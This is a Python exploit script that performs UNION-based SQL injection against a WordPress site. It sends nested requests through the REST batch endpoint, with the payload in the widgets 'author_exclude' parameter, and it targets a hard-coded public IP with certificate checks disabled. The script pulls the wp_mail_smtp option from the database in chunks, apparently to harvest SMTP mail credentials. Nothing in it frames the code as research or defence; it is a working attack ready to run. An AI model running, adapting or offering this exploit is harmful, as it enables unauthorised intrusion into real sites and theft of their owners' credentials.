#!/usr/bin/env python3
import html as html_mod
import json
import re
import secrets
import ssl
import urllib.request
import urllib.parse

target = "http://34.206.62.229"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
opener.addheaders = [('User-Agent', 'Mozilla/5.0'), ('Accept', 'application/json')]

def union_read(sql_expr):
    tok = secrets.token_hex(5)
    mark = "0x" + tok.encode().hex()
    
    def hex_str(s):
        return "0x" + s.encode().hex() if s else "''"
    
    row = ",".join([
        "1", "1", hex_str("2020-01-01 00:00:00"), hex_str("2020-01-01 00:00:00"),
        f"CONCAT({mark},IFNULL(({sql_expr}),0x2d),{mark})", "0x78", "''", 
        hex_str("publish"), hex_str("closed"), hex_str("closed"), "''",
        hex_str("x"), "''", "''", hex_str("2020-01-01 00:00:00"), 
        hex_str("2020-01-01 00:00:00"), "''", "0", "''", "0", hex_str("post"), "''", "0"
    ])
    
    sqli = f"1111111100000000) AND 1=0 UNION ALL SELECT {row}-- -"
    
    inner = [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode({
            "author_exclude": sqli, "per_page": 500, "page": 1,
            "orderby": "none", "context": "view"
        })},
        {"method": "GET", "path": "/wp/v2/posts"},
    ]
    
    envelope = {"requests": [
        {"method": "POST", "path": "http://:"},
        {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
        {"method": "POST", "path": "/batch/v1"},
    ]}
    
    body = json.dumps(envelope).encode()
    req = urllib.request.Request(f"{target}/?rest_route=/batch/v1", data=body, 
                                  headers={'Content-Type': 'application/json'}, method='POST')
    try:
        with opener.open(req, timeout=30) as resp:
            raw = resp.read()
    except Exception as e:
        raw = e.read() if hasattr(e, 'read') else b""
    
    pat = re.compile(re.escape(tok) + r"(.*?)" + re.escape(tok), re.S)
    try:
        data = json.loads(raw)
        def walk(obj):
            if isinstance(obj, dict):
                for v in obj.values(): yield from walk(v)
            elif isinstance(obj, list):
                for v in obj: yield from walk(v)
            elif isinstance(obj, str): yield obj
        haystacks = list(walk(data))
    except:
        haystacks = [raw.decode("utf-8", "replace")]
    
    for s in haystacks:
        m = pat.search(s)
        if m:
            inner = re.sub(r"<[^>]+>", "", m.group(1))
            return html_mod.unescape(inner).strip()
    return None

# Get SMTP section
print("[*] Getting SMTP section...")
result = union_read("""
    SELECT SUBSTRING(option_value, 
        LOCATE('"smtp"', option_value),
        400
    ) FROM wp_options WHERE option_name='wp_mail_smtp'
""")
print(result)

print("\n[*] Checking if mailer is smtp or amazonses...")
result = union_read("""
    SELECT SUBSTRING(option_value, 
        LOCATE('mailer', option_value),
        50
    ) FROM wp_options WHERE option_name='wp_mail_smtp'
""")
print(result)

# Full dump in parts
print("\n[*] Full wp_mail_smtp dump (part 1)...")
result = union_read("SELECT SUBSTRING(option_value, 1, 500) FROM wp_options WHERE option_name='wp_mail_smtp'")
print(result)

print("\n[*] Full wp_mail_smtp dump (part 2)...")
result = union_read("SELECT SUBSTRING(option_value, 501, 500) FROM wp_options WHERE option_name='wp_mail_smtp'")
print(result)

print("\n[*] Full wp_mail_smtp dump (part 3)...")
result = union_read("SELECT SUBSTRING(option_value, 1001, 500) FROM wp_options WHERE option_name='wp_mail_smtp'")
print(result)

